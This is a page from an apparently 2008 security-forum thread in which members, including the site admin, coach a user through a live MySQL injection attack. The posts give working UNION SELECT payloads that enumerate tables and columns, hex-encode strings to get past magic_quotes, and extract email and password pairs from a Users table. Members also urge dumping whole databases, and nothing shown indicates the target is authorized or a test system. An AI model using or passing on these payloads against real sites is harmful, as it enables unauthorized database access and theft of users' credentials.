Waraxe IT Security Portal
Login or Register
November 22, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 46
Members: 0
Total: 46
Full disclosure
APPLE-SA-11-19-2024-5 macOS Sequoia 15.1.1
Local Privilege Escalations in needrestart
APPLE-SA-11-19-2024-4 iOS 17.7.2 and iPadOS 17.7.2
APPLE-SA-11-19-2024-3 iOS 18.1.1 and iPadOS 18.1.1
APPLE-SA-11-19-2024-2 visionOS 2.1.1
APPLE-SA-11-19-2024-1 Safari 18.1.1
Reflected XSS - fronsetiav1.1
XXE OOB - fronsetiav1.1
St. Poelten UAS | Path Traversal in Korenix JetPort 5601
St. Poelten UAS | Multiple Stored Cross-Site Scripting in SEH utnserver Pro
Apple web content filter bypass allows unrestricted access to blocked content (macOS/iOS/iPadOS/visionO S/watchOS)
SEC Consult SA-20241112-0 :: Multiple vulnerabilities in Siemens Energy Omnivise T3000 (CVE-2024-38876, CVE-2024-38877, CVE-2024-38878, CVE-2024-38879)
Security issue in the TX Text Control .NET Server for ASP.NET.
SEC Consult SA-20241107-0 :: Multiple Vulnerabilities in HASOMED Elefant and Elefant Software Updater
Unsafe eval() in TestRail CLI
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> MySQL injection problem Goto page Previous1, 2, 3Next
Post new topicReply to topic View previous topic :: View next topic
PostPosted: Sat Feb 09, 2008 5:49 pm Reply with quote
gtal3x
Active user
Active user
Joined: Dec 03, 2007
Posts: 33
Location: Ukraine




thats exacly wat u need, with my code u found that the column name is "User", u can go ferther by limit+2,1... etc, or u can start finding tables with the same comand (cahnge columns for tables) and the 0x257573657225 stands for a hex encoding wich is %user%
View user's profile Send private message
PostPosted: Sat Feb 09, 2008 5:55 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Did you remember to use single quotes? Because without single quotes mysql engine will think, that it's column name!

Try something like this:

Code:

UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,COLUMN_NAME+FROM+information_schema.columns+WHERE+TABLE_NAME='here the table name'+AND+TABLE_SCHEMA='here the db name'+LIMIT+0,1/*
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sat Feb 09, 2008 5:57 pm Reply with quote
gtal3x
Active user
Active user
Joined: Dec 03, 2007
Posts: 33
Location: Ukraine




or just try this and tell me what u see...
+union+select+1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,email,7,8,9,0,1,2+from+User+limit+1,1/*
View user's profile Send private message
PostPosted: Sat Feb 09, 2008 6:06 pm Reply with quote
Panic_Mode
Active user
Active user
Joined: Feb 09, 2008
Posts: 39




@gtal3x
Like I told before although i receive the Users output I can't go ferther with Limit. I always get "Users" output.
Also when i try to get some info from users it says that it does not exist :p

@waraxe
Yeh I forgot the quotes :p
but now there is an error in syntax
Code:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'table name\' AND TABLE_SCHEMA=\'db name\' LIMIT 0,1/* ORDER BY e.OK DESC, e.recI' at line 1
View user's profile Send private message
PostPosted: Sat Feb 09, 2008 6:08 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Yes, this is "magic_quotes" effect in php Smile
Use Hex-encoded strings like "0xaabbccddeeff" ...
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sat Feb 09, 2008 6:18 pm Reply with quote
Panic_Mode
Active user
Active user
Joined: Feb 09, 2008
Posts: 39




Yes it just worked Very Happy

Now something that came across my mind... Is there a script which can automatically switch the LIMIT nums and copy the output? It's a bit painfull to do it manually Razz

I think i've got many things to learn from this place Very Happy
View user's profile Send private message
PostPosted: Sat Feb 09, 2008 6:28 pm Reply with quote
gtal3x
Active user
Active user
Joined: Dec 03, 2007
Posts: 33
Location: Ukraine




i guess u can try to find a perl script that finds the right tables and columns for you, or write it your self, but this is for mysql 4x, in 5x you can always use the information schem to find excaly what u r lookin for, use where+table_name+like+0xHEX/*
View user's profile Send private message
PostPosted: Sat Feb 09, 2008 6:40 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Panic_Mode wrote:
Yes it just worked Very Happy

Now something that came across my mind... Is there a script which can automatically switch the LIMIT nums and copy the output? It's a bit painfull to do it manually Razz

I think i've got many things to learn from this place Very Happy


My favourite is Php, so usually i', writing php script for this.
Do you have php on your home PC? I can post here some simple script, which can be modified as needes. Interested?
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sat Feb 09, 2008 6:42 pm Reply with quote
Panic_Mode
Active user
Active user
Joined: Feb 09, 2008
Posts: 39




waraxe wrote:
Panic_Mode wrote:
Yes it just worked Very Happy

Now something that came across my mind... Is there a script which can automatically switch the LIMIT nums and copy the output? It's a bit painfull to do it manually Razz

I think i've got many things to learn from this place Very Happy


My favourite is Php, so usually i', writing php script for this.
Do you have php on your home PC? I can post here some simple script, which can be modified as needes. Interested?


Of course! Very Happy
View user's profile Send private message
PostPosted: Sat Feb 09, 2008 6:42 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




gtal3x wrote:
i guess u can try to find a perl script that finds the right tables and columns for you, or write it your self, but this is for mysql 4x, in 5x you can always use the information schem to find excaly what u r lookin for, use where+table_name+like+0xHEX/*


Still, it's usually good idea to dump all tables and colums - becasue there can be surprises - i mean, data you have not been searching for, but still interesting Smile
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sat Feb 09, 2008 6:44 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




OK, i have to offline right now, but i will be back soon and then will post example script. Have you php CLI ready? With Curl?
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sat Feb 09, 2008 6:50 pm Reply with quote
Panic_Mode
Active user
Active user
Joined: Feb 09, 2008
Posts: 39




waraxe wrote:
OK, i have to offline right now, but i will be back soon and then will post example script. Have you php CLI ready? With Curl?


I'll set them up Very Happy

Oh something else...
Code:
UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,CONCAT(mail,0x5e,password)+FROM+table_name+where+column_name=0xblablahex+LIMIT+0,1/*

I don't get an error but also i don't get an ouput on the page... Confused
View user's profile Send private message
PostPosted: Sat Feb 09, 2008 6:58 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Try using LIKE. And LIMIT is maybe not needed here, because you expect single row?

Try this:

Code:

UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,CONCAT(mail,0x5e,password)+FROM+table_name+where+column_name+LIKE+0xblablahex/*
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sat Feb 09, 2008 7:02 pm Reply with quote
gtal3x
Active user
Active user
Joined: Dec 03, 2007
Posts: 33
Location: Ukraine




why not do it str8?
Code:
UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,CONCAT_WS(CHAR(58),mail,password)+FROM+Users/*


btw i think the best thing to do is just to dump the sql file, so u have all the emails and password, i guess u r lucky the passwords are plain text?
View user's profile Send private message
PostPosted: Sat Feb 09, 2008 7:06 pm Reply with quote
Panic_Mode
Active user
Active user
Joined: Feb 09, 2008
Posts: 39




waraxe wrote:
Try using LIKE. And LIMIT is maybe not needed here, because you expect single row?

Try this:

Code:

UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,CONCAT(mail,0x5e,password)+FROM+table_name+where+column_name+LIKE+0xblablahex/*


Once more you were right Very Happy

Thank you both guys (waraxe, gtal3x)
View user's profile Send private message
MySQL injection problem
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 2 of 3
Goto page Previous1, 2, 3Next
Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.050 Seconds